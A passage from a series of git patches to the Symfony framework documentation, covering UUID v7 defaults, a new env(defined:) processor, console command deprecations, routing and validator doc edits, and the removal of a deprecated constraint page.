-                default_uuid_version: 6
+                default_uuid_version: 7
                 name_based_uuid_version: 5
                 name_based_uuid_namespace: 6ba7b810-9dad-11d1-80b4-00c04fd430c8
-                time_based_uuid_version: 6
+                time_based_uuid_version: 7
                 time_based_uuid_node: 121212121212
 
     .. code-block:: xml
@@ -113,10 +113,10 @@ configure the behavior of the factory using configuration files::
 
             <framework:config>
                 <framework:uid
-                    default_uuid_version="6"
+                    default_uuid_version="7"
                     name_based_uuid_version="5"
                     name_based_uuid_namespace="6ba7b810-9dad-11d1-80b4-00c04fd430c8"
-                    time_based_uuid_version="6"
+                    time_based_uuid_version="7"
                     time_based_uuid_node="121212121212"
                 />
             </framework:config>
@@ -135,10 +135,10 @@ configure the behavior of the factory using configuration files::
 
             $container->extension('framework', [
                 'uid' => [
-                    'default_uuid_version' => 6,
+                    'default_uuid_version' => 7,
                     'name_based_uuid_version' => 5,
                     'name_based_uuid_namespace' => '6ba7b810-9dad-11d1-80b4-00c04fd430c8',
-                    'time_based_uuid_version' => 6,
+                    'time_based_uuid_version' => 7,
                     'time_based_uuid_node' => 121212121212,
                 ],
             ]);
@@ -160,7 +160,7 @@ on the configuration you defined::
 
         public function generate(): void
         {
-            // This creates a UUID of the version given in the configuration file (v6 by default)
+            // This creates a UUID of the version given in the configuration file (v7 by default)
             $uuid = $this->uuidFactory->create();
 
             $nameBasedUuid = $this->uuidFactory->nameBased(/** ... */);

From b9f2a576b70c47363392ffd98d4c8d561a6b23b3 Mon Sep 17 00:00:00 2001
From: Gary PEGEOT <garypegeot@gmail.com>
Date: Wed, 28 Jun 2023 19:52:53 +0000
Subject: [PATCH 4786/7107]  [DependencyInjection] Add defined prefix for env
 var processor

Fixes #18462
---
 configuration/env_var_processors.rst | 37 ++++++++++++++++++++++++++++
 1 file changed, 37 insertions(+)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 937c0e341f6..562dc57420b 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -786,6 +786,43 @@ Symfony provides the following env var processors:
 
         The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
 
+``env(defined:NO_FOO)``
+    Evaluates to ``true`` if the env var is defined (ie: different from ``''`` or ``null``), ``false`` otherwise.
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            parameters:
+                typed_env: '%env(defined:NO_FOO)%'
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="typed_env"'%env(defined:NO_FOO)%</parameter>
+                </parameters>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            $container->setParameter('typed_env', '%env(defined:NO_FOO)%');
+
+    .. versionadded:: 6.4
+
+        The ``env(defined:...)`` env var processor was introduced in Symfony 6.4.
+
 It is also possible to combine any number of processors:
 
 .. configuration-block::

From 7f31c49c1caef55e344ec8002eb8b290aba05871 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Jun 2023 08:44:09 +0200
Subject: [PATCH 4787/7107] Tweaks

---
 configuration/env_var_processors.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 562dc57420b..885099eceec 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -787,7 +787,8 @@ Symfony provides the following env var processors:
         The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
 
 ``env(defined:NO_FOO)``
-    Evaluates to ``true`` if the env var is defined (ie: different from ``''`` or ``null``), ``false`` otherwise.
+    Evaluates to ``true`` if the env var exists and its value is from ``''``
+    (an empty string) or ``null``; it returns ``false`` otherwise.
 
     .. configuration-block::
 
@@ -795,7 +796,7 @@ Symfony provides the following env var processors:
 
             # config/services.yaml
             parameters:
-                typed_env: '%env(defined:NO_FOO)%'
+                typed_env: '%env(defined:FOO)%'
 
         .. code-block:: xml
 
@@ -810,14 +811,14 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
                 <parameters>
-                    <parameter key="typed_env"'%env(defined:NO_FOO)%</parameter>
+                    <parameter key="typed_env"'%env(defined:FOO)%</parameter>
                 </parameters>
             </container>
 
         .. code-block:: php
 
             // config/services.php
-            $container->setParameter('typed_env', '%env(defined:NO_FOO)%');
+            $container->setParameter('typed_env', '%env(defined:FOO)%');
 
     .. versionadded:: 6.4
 

From 91cd0ea10cad55c5124b747c2234198f6f24dcf4 Mon Sep 17 00:00:00 2001
From: Gary PEGEOT <garypegeot@gmail.com>
Date: Thu, 29 Jun 2023 07:26:05 +0000
Subject: [PATCH 4788/7107] fix: small typo

---
 configuration/env_var_processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 885099eceec..098d7da6285 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -787,7 +787,7 @@ Symfony provides the following env var processors:
         The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
 
 ``env(defined:NO_FOO)``
-    Evaluates to ``true`` if the env var exists and its value is from ``''``
+    Evaluates to ``true`` if the env var exists and its value differs from ``''``
     (an empty string) or ``null``; it returns ``false`` otherwise.
 
     .. configuration-block::

From 543ec6e9d0511efe74bb3938d97bacfe08c160b9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Jun 2023 09:35:25 +0200
Subject: [PATCH 4789/7107] Minor reword

---
 configuration/env_var_processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 098d7da6285..387c10bfb82 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -787,7 +787,7 @@ Symfony provides the following env var processors:
         The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
 
 ``env(defined:NO_FOO)``
-    Evaluates to ``true`` if the env var exists and its value differs from ``''``
+    Evaluates to ``true`` if the env var exists and its value is not ``''``
     (an empty string) or ``null``; it returns ``false`` otherwise.
 
     .. configuration-block::

From 8c0c806ce5c1f5f16da4d73033b81644a04addd8 Mon Sep 17 00:00:00 2001
From: 6e0d0a <73163496+6e0d0a@users.noreply.github.com>
Date: Thu, 29 Jun 2023 12:43:42 +0200
Subject: [PATCH 4790/7107] Update routing.rst

In the i18n configuration you have a small mistake with the host configuration.
---
 routing.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/routing.rst b/routing.rst
index 56f969cc331..3c08ccef960 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2429,8 +2429,8 @@ locale.
             resource: '../../src/Controller/'
             type: annotation
             host:
-                en: 'https://www.example.com'
-                nl: 'https://www.example.nl'
+                en: 'www.example.com'
+                nl: 'www.example.nl'
 
     .. code-block:: xml
 
@@ -2441,8 +2441,8 @@ locale.
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
             <import resource="../../src/Controller/" type="annotation">
-                <host locale="en">https://www.example.com</host>
-                <host locale="nl">https://www.example.nl</host>
+                <host locale="en">www.example.com</host>
+                <host locale="nl">www.example.nl</host>
             </import>
         </routes>
 
@@ -2453,8 +2453,8 @@ locale.
         return function (RoutingConfigurator $routes) {
             $routes->import('../../src/Controller/', 'annotation')
                 ->host([
-                    'en' => 'https://www.example.com',
-                    'nl' => 'https://www.example.nl',
+                    'en' => 'www.example.com',
+                    'nl' => 'www.example.nl',
                 ])
             ;
         };

From fc94456249d1d888c656d235a669f7b4fb3ce4f8 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Thu, 29 Jun 2023 19:50:07 +0200
Subject: [PATCH 4791/7107] [Form][Validator] Add new unique entity validation
 on form type

---
 reference/constraints/UniqueEntity.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 59840bbfe9b..f0bf8c6879a 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -126,6 +126,29 @@ between all of the rows in your user table:
             }
         }
 
+        // src/Form/Type/UserType.php
+        namespace App\Form\Type;
+
+        // ...
+        // DON'T forget the following use statement!!!
+        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
+
+        class UserType extends AbstractType
+        {
+            // ...
+
+            public function configureOptions(OptionsResolver $resolver): void
+            {
+                $resolver->setDefaults([
+                    // ...
+                    'data_class' => User::class,
+                    'constraints' => [
+                        new UniqueEntity(fields: ['email']),
+                    ],
+                ]);
+            }
+        }
+
 .. caution::
 
     This constraint doesn't provide any protection against `race conditions`_.

From 2d674cf6abd9716fbfc71e3c00e6f54f56a1f78f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 30 Jun 2023 14:04:31 +0200
Subject: [PATCH 4792/7107] [Console] Remove occurrences of `$defaultName` and
 `$defaultDescription`

---
 console.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/console.rst b/console.rst
index 4038c16f83e..edac5545e9e 100644
--- a/console.rst
+++ b/console.rst
@@ -146,13 +146,12 @@ You can optionally define a description, help message and the
     // ...
     class CreateUserCommand extends Command
     {
-        // the command description shown when running "php bin/console list"
-        protected static $defaultDescription = 'Creates a new user.';
-
         // ...
         protected function configure(): void
         {
             $this
+                // the command description shown when running "php bin/console list"
+                ->setDescription('Creates a new user.')
                 // the command help shown when running the command with the "--help" option
                 ->setHelp('This command allows you to create a user...')
             ;
@@ -161,15 +160,16 @@ You can optionally define a description, help message and the
 
 .. tip::
 
-    Defining the ``$defaultDescription`` static property instead of using the
-    ``setDescription()`` method allows to get the command description without
+    Using the ``#[AsCommand]`` attribute to define a description instead of
+    using the ``setDescription()`` method allows to get the command description without
     instantiating its class. This makes the ``php bin/console list`` command run
     much faster.
 
     If you want to always run the ``list`` command fast, add the ``--short`` option
     to it (``php bin/console list --short``). This will avoid instantiating command
     classes, but it won't show any description for commands that use the
-    ``setDescription()`` method instead of the static property.
+    ``setDescription()`` method instead of the attribute to define the command
+    description.
 
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties
@@ -216,8 +216,6 @@ You can register the command by adding the ``AsCommand`` attribute to it::
     use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
 
-    // the "name" and "description" arguments of AsCommand replace the
-    // static $defaultName and $defaultDescription properties
     #[AsCommand(
         name: 'app:create-user',
         description: 'Creates a new user.',

From 61ec77422f224d524ec7e86eff96c1ed93860a19 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 30 Jun 2023 16:18:02 +0200
Subject: [PATCH 4793/7107] [Console] Deprecate `$defaultName` and
 `$defaultDescription`

---
 console.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/console.rst b/console.rst
index 4038c16f83e..eb7e2e99ec1 100644
--- a/console.rst
+++ b/console.rst
@@ -171,6 +171,12 @@ You can optionally define a description, help message and the
     classes, but it won't show any description for commands that use the
     ``setDescription()`` method instead of the static property.
 
+.. deprecated:: 6.1
+
+    The static property ``$defaultDescription`` was deprecated in Symfony 6.1.
+    Declare your command description with the ``#[AsCommand]`` attribute
+    instead.
+
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties
 first and then call to the parent constructor, to make those properties
@@ -234,6 +240,11 @@ If you can't use PHP attributes, register the command as a service and
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
 
+.. deprecated:: 6.1
+
+    The static property ``$defaultName`` was deprecated in Symfony 6.1.
+    Declare your command name with the ``#[AsCommand]`` attribute instead.
+
 Running the Command
 ~~~~~~~~~~~~~~~~~~~
 

From aa3973082f1fdce42081d02a9e05f510532eb738 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Jun 2023 16:23:56 +0200
Subject: [PATCH 4794/7107] [Form] Document a deprecation related to
 model_timezone

---
 reference/forms/types/options/model_timezone.rst.inc | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/reference/forms/types/options/model_timezone.rst.inc b/reference/forms/types/options/model_timezone.rst.inc
index 0ef0efe1b56..44050e89219 100644
--- a/reference/forms/types/options/model_timezone.rst.inc
+++ b/reference/forms/types/options/model_timezone.rst.inc
@@ -6,4 +6,10 @@
 Timezone that the input data is stored in. This must be one of the
 `PHP supported timezones`_.
 
+.. deprecated:: 6.4
+
+    Starting from Symfony 6.4, it's deprecated to pass ``DateTime`` or ``DateTimeImmutable``
+    values to this form field with a different timezone than the one configured with
+    the ``model_timezone`` option.
+
 .. _`PHP supported timezones`: https://www.php.net/manual/en/timezones.php

From 1a68fb07e9ecb73b108dad68183f04aaf2aae2ed Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 30 Jun 2023 18:05:09 +0200
Subject: [PATCH 4795/7107] [HttpKernel] Remove `ContainerAwareInterface`
 occurrence

---
 components/http_kernel.rst | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 90e0194f529..937028c28a4 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -258,18 +258,6 @@ on the request's information.
     b) A new instance of your controller class is instantiated with no
        constructor arguments.
 
-    c) If the controller implements :class:`Symfony\\Component\\DependencyInjection\\ContainerAwareInterface`,
-       ``setContainer()`` is called on the controller object and the container
-       is passed to it. This step is also specific to the  :class:`Symfony\\Bundle\\FrameworkBundle\\Controller\\ControllerResolver`
-       sub-class used by the Symfony Framework.
-
-.. deprecated:: 6.4
-
-    :class:`Symfony\\Component\\DependencyInjection\\ContainerAwareInterface` and
-    :class:`Symfony\\Component\\DependencyInjection\\ContainerAwareTrait` are
-    deprecated since Symfony 6.4. Dependency injection should be used instead to
-    access the service container.
-
 .. _component-http-kernel-kernel-controller:
 
 3) The ``kernel.controller`` Event

From e46a7a0a28d9740ed8590d4bc67522c644f8c3b7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 30 Jun 2023 19:48:14 +0200
Subject: [PATCH 4796/7107] Remove deprecated directive

---
 reference/forms/types/options/model_timezone.rst.inc | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/reference/forms/types/options/model_timezone.rst.inc b/reference/forms/types/options/model_timezone.rst.inc
index 44050e89219..0ef0efe1b56 100644
--- a/reference/forms/types/options/model_timezone.rst.inc
+++ b/reference/forms/types/options/model_timezone.rst.inc
@@ -6,10 +6,4 @@
 Timezone that the input data is stored in. This must be one of the
 `PHP supported timezones`_.
 
-.. deprecated:: 6.4
-
-    Starting from Symfony 6.4, it's deprecated to pass ``DateTime`` or ``DateTimeImmutable``
-    values to this form field with a different timezone than the one configured with
-    the ``model_timezone`` option.
-
 .. _`PHP supported timezones`: https://www.php.net/manual/en/timezones.php

From 40c513d61193e8679cfe472a6a8a6de464bcf1d6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Cl=C3=A9ment=20Michelet?= <clement.michelet@hephaist.io>
Date: Mon, 3 Jul 2023 08:41:48 +0200
Subject: [PATCH 4797/7107] [HttpClient] Add a note about requirement to use
 URI templates

Closes https://github.com/symfony/symfony-docs/issues/18480
---
 http_client.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 5f7f51f8a6a..3fe7f3864ed 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -946,6 +946,11 @@ If you want to define your own logic to handle variables of URI templates, you
 can do so by redefining the ``http_client.uri_template_expander`` alias. Your
 service must be invokable.
 
+.. note::
+
+    Support for URI template requires a vendor or to pass your own expander
+    ``\Closure`` implementation to expand the URI.
+
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient` was

From 7b48d6050ea38ee862ca5bad3d746b90cc74b430 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Jul 2023 16:59:05 +0200
Subject: [PATCH 4798/7107] Remove annotations from Creating Pages article

---
 page_creation.rst | 83 +++++++++++++----------------------------------
 setup.rst         |  1 +
 2 files changed, 24 insertions(+), 60 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 8e7bb902a6b..06b7bf4292a 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -7,13 +7,13 @@ Create your First Page in Symfony
 Creating a new page - whether it's an HTML page or a JSON endpoint - is a
 two-step process:
 
-#. **Create a route**: A route is the URL (e.g. ``/about``) to your page and
-   points to a controller;
-
 #. **Create a controller**: A controller is the PHP function you write that
    builds the page. You take the incoming request information and use it to
    create a Symfony ``Response`` object, which can hold HTML content, a JSON
-   string or even a binary file like an image or PDF.
+   string or even a binary file like an image or PDF;
+
+#. **Create a route**: A route is the URL (e.g. ``/about``) to your page and
+   points to a controller.
 
 .. admonition:: Screencast
     :class: screencast
@@ -55,47 +55,12 @@ random) number and prints it. To do that, create a "Controller" class and a
         }
     }
 
-Now you need to associate this controller function with a public URL (e.g. ``/lucky/number``)
-so that the ``number()`` method is called when a user browses to it. This association
-is defined by creating a **route** in the ``config/routes.yaml`` file:
-
-.. code-block:: yaml
-
-    # config/routes.yaml
-
-    # the "app_lucky_number" route name is not important yet
-    app_lucky_number:
-        path: /lucky/number
-        controller: App\Controller\LuckyController::number
-
-That's it! If you are using Symfony web server, try it out by going to: http://localhost:8000/lucky/number
-
-If you see a lucky number being printed back to you, congratulations! But before
-you run off to play the lottery, check out how this works. Remember the two steps
-to create a page?
-
-#. *Create a controller and a method*: This is a function where *you* build the page and ultimately
-   return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`
-   in their own section, including how to return JSON responses;
-
-#. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
-   page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
-   in its own section, including how to make *variable* URLs.
-
 .. _annotation-routes:
 
-Annotation Routes
------------------
-
-Instead of defining your route in YAML, Symfony also allows you to use *annotation*
-or *attribute* routes. Attributes are built-in in PHP starting from PHP 8. In earlier
-PHP versions you can use annotations. To do this, install the annotations package:
-
-.. code-block:: terminal
-
-    $ composer require annotations
-
-You can now add your route directly *above* the controller:
+Now you need to associate this controller function with a public URL (e.g. ``/lucky/number``)
+so that the ``number()`` method is called when a user browses to it. This association
+is defined with the ``#[Route]`` attribute (in PHP, `attributes`_ are used to add
+metadata to code):
 
 .. configuration-block::
 
@@ -115,27 +80,25 @@ You can now add your route directly *above* the controller:
             }
         }
 
-That's it! The page - http://localhost:8000/lucky/number will work exactly
-like before! Annotations/attributes are the recommended way to configure routes.
+That's it! If you are using Symfony web server, try it out by going to: http://localhost:8000/lucky/number
 
-.. _flex-quick-intro:
+.. tip::
 
-Auto-Installing Recipes with Symfony Flex
------------------------------------------
+    Symfony recommends defining routes as attributes to have the controller code
+    and its route configuration at the same location. However, if you prefer, you can
+    :doc:`define routes in separate files </routing>` using YAML, XML and PHP formats.
 
-You may not have noticed, but when you ran ``composer require annotations``, two
-special things happened, both thanks to a powerful Composer plugin called
-:ref:`Flex <symfony-flex>`.
+If you see a lucky number being printed back to you, congratulations! But before
+you run off to play the lottery, check out how this works. Remember the two steps
+to create a page?
 
-First, ``annotations`` isn't a real package name: it's an *alias* (i.e. shortcut)
-that Flex resolves to ``sensio/framework-extra-bundle``.
+#. *Create a controller and a method*: This is a function where *you* build the page and ultimately
+   return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`
+   in their own section, including how to return JSON responses;
 
-Second, after this package was downloaded, Flex runs a *recipe*, which is a
-set of automated instructions that tell Symfony how to integrate an external
-package. `Flex recipes`_ exist for many packages and have the ability
-to do a lot, like adding configuration files, creating directories, updating ``.gitignore``
-and adding a new config to your ``.env`` file. Flex *automates* the installation of
-packages so you can get back to coding.
+#. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
+   page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
+   in its own section, including how to make *variable* URLs.
 
 The bin/console Command
 -----------------------
@@ -343,4 +306,4 @@ Go Deeper with HTTP & Framework Fundamentals
 .. _`Twig`: https://twig.symfony.com
 .. _`Composer`: https://getcomposer.org
 .. _`Harmonious Development with Symfony`: https://symfonycasts.com/screencast/symfony/setup
-.. _`Flex recipes`: https://github.com/symfony/recipes/blob/flex/main/RECIPES.md
+.. _`attributes`: https://www.php.net/manual/en/language.attributes.overview.php
diff --git a/setup.rst b/setup.rst
index beb966d163a..51e60ab6fcd 100644
--- a/setup.rst
+++ b/setup.rst
@@ -147,6 +147,7 @@ Symfony Docker Integration
 If you'd like to use Docker with Symfony, see :doc:`/setup/docker`.
 
 .. _symfony-flex:
+.. _flex-quick-intro:
 
 Installing Packages
 -------------------

From 8192452bd22af78a1b85dd848e8c5a4043867396 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Jul 2023 17:44:44 +0200
Subject: [PATCH 4799/7107] Tweaks

---
 console.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/console.rst b/console.rst
index eb7e2e99ec1..77a0a3ee605 100644
--- a/console.rst
+++ b/console.rst
@@ -174,8 +174,8 @@ You can optionally define a description, help message and the
 .. deprecated:: 6.1
 
     The static property ``$defaultDescription`` was deprecated in Symfony 6.1.
-    Declare your command description with the ``#[AsCommand]`` attribute
-    instead.
+    Instead, use the ``#[AsCommand]`` attribute to define the optional command
+    description.
 
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties
@@ -243,7 +243,7 @@ this is already done for you, thanks to :ref:`autoconfiguration <services-autoco
 .. deprecated:: 6.1
 
     The static property ``$defaultName`` was deprecated in Symfony 6.1.
-    Declare your command name with the ``#[AsCommand]`` attribute instead.
+    Define your command name with the ``#[AsCommand]`` attribute instead.
 
 Running the Command
 ~~~~~~~~~~~~~~~~~~~

From c6b76d852c3a828369ab89e85b9ffd7052f6d541 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 4 Jul 2023 09:06:51 +0200
Subject: [PATCH 4800/7107] Improve return types

---
 doctrine/associations.rst             | 2 +-
 messenger/handler_results.rst         | 2 +-
 security/user_providers.rst           | 2 --
 service_container/injection_types.rst | 5 +++--
 4 files changed, 5 insertions(+), 6 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 64f763c9b6b..e1cd113ae22 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -228,7 +228,7 @@ class that will hold these objects:
             }
 
             /**
-             * @return Collection|Product[]
+             * @return Collection<int, Product>
              */
             public function getProducts(): Collection
             {
diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index 059738a4e79..e7bae04cbea 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -90,7 +90,7 @@ wherever you need a query bus behavior instead of the ``MessageBusInterface``::
          *
          * @return mixed The handler returned value
          */
-        public function query($query)
+        public function query($query): mixed
         {
             return $this->handle($query);
         }
diff --git a/security/user_providers.rst b/security/user_providers.rst
index c23302ee9a1..fe88f0cdf9a 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -311,8 +311,6 @@ command will generate a nice skeleton to get you started::
          *
          * If your firewall is "stateless: true" (for a pure API), this
          * method is not called.
-         *
-         * @return UserInterface
          */
         public function refreshUser(UserInterface $user): UserInterface
         {
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 060a95bffc0..f1a6c80397b 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -180,8 +180,9 @@ In order to use this type of injection, don't forget to configure it:
 .. note::
 
     If you decide to use autowiring, this type of injection requires
-    that you add a ``@return static`` docblock in order for the container
-    to be capable of registering the method.
+    that you add a ``@return static`` docblock or the ``static`` return
+    type in order for the container to be capable of registering
+    the method.
 
 This approach is useful if you need to configure your service according to your needs,
 so, here's the advantages of immutable-setters:

From 59ce75fd37a517755ff89a0355751b1f7ab56c23 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Jul 2023 10:08:37 +0200
Subject: [PATCH 4801/7107] Reword

---
 http_client.rst | 16 +++++++++++-----
 1 file changed, 11 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 3fe7f3864ed..d5fa098eb90 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -891,6 +891,17 @@ a client that eases the use of URI templates, as described in the `RFC 6570`_::
         ],
     ]);
 
+Before using URI templates in your applications, you must install a third-party
+package that expands those URI templates to turn them into URLs:
+
+.. code-block:: terminal
+
+    $ composer require league/uri
+
+    # Symfony also supports the following URI template packages:
+    # composer require guzzlehttp/uri-template
+    # composer require rize/uri-template
+
 When using this client in the framework context, all existing HTTP clients
 are decorated by the :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient`.
 This means that URI template feature is enabled by default for all HTTP clients
@@ -946,11 +957,6 @@ If you want to define your own logic to handle variables of URI templates, you
 can do so by redefining the ``http_client.uri_template_expander`` alias. Your
 service must be invokable.
 
-.. note::
-
-    Support for URI template requires a vendor or to pass your own expander
-    ``\Closure`` implementation to expand the URI.
-
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient` was

From ba5059e10fa24b62501e79f0fd9f2e81ba321fb2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 4 Jul 2023 10:13:58 +0200
Subject: [PATCH 4802/7107] [ExpressionLanguage] `in` and `not in` operators
 are using strict comparison

---
 reference/formats/expression_language.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 18811c0ca44..ebb7574922c 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -352,12 +352,9 @@ For example::
 
 The ``$inGroup`` would evaluate to ``true``.
 
-.. deprecated:: 6.3
+.. note::
 
-    In Symfony versions previous to 6.3, ``in`` and ``not in`` operators
-    were using loose comparison. Using these operators with variables of
-    different types is now deprecated, and these operators will be using
-    strict comparison from Symfony 7.0.
+    The ``in`` and ``not in`` operators are using strict comparison.
 
 Numeric Operators
 ~~~~~~~~~~~~~~~~~

From b44d4c41f5cb0247639f745ec983c60b1328b531 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 4 Jul 2023 14:12:02 +0200
Subject: [PATCH 4803/7107] [Validator] Remove deprecated
 `ExpressionLanguageSyntax` constraint

---
 .../constraints/ExpressionLanguageSyntax.rst  | 127 ------------------
 reference/constraints/ExpressionSyntax.rst    |   6 -
 2 files changed, 133 deletions(-)
 delete mode 100644 reference/constraints/ExpressionLanguageSyntax.rst

diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
deleted file mode 100644
index f10956c4046..00000000000
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ /dev/null
@@ -1,127 +0,0 @@
-ExpressionLanguageSyntax
-========================
-
-.. deprecated:: 6.1
-
-    This constraint is deprecated since Symfony 6.1. Instead, use the
-    :doc:`ExpressionSyntax </reference/constraints/ExpressionSyntax>` constraint.
-
-This constraint checks that the value is valid as an `ExpressionLanguage`_
-expression.
-
-==========  ===================================================================
-Applies to  :ref:`property or method <validation-property-target>`
-Class       :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionLanguageSyntax`
-Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionLanguageSyntaxValidator`
-==========  ===================================================================
-
-Basic Usage
------------
-
-The following constraints ensure that:
-
-* the ``promotion`` property stores a value which is valid as an
-  ExpressionLanguage expression;
-* the ``shippingOptions`` property also ensures that the expression only uses
-  certain variables.
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            #[Assert\ExpressionLanguageSyntax]
-            protected string  $promotion;
-
-            #[Assert\ExpressionLanguageSyntax(
-                allowedVariables: ['user', 'shipping_centers'],
-            )]
-            protected string $shippingOptions;
-        }
-
-    .. code-block:: yaml
-
-        # config/validator/validation.yaml
-        App\Entity\Order:
-            properties:
-                promotion:
-                    - ExpressionLanguageSyntax: ~
-                shippingOptions:
-                    - ExpressionLanguageSyntax:
-                        allowedVariables: ['user', 'shipping_centers']
-
-    .. code-block:: xml
-
-        <!-- config/validator/validation.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
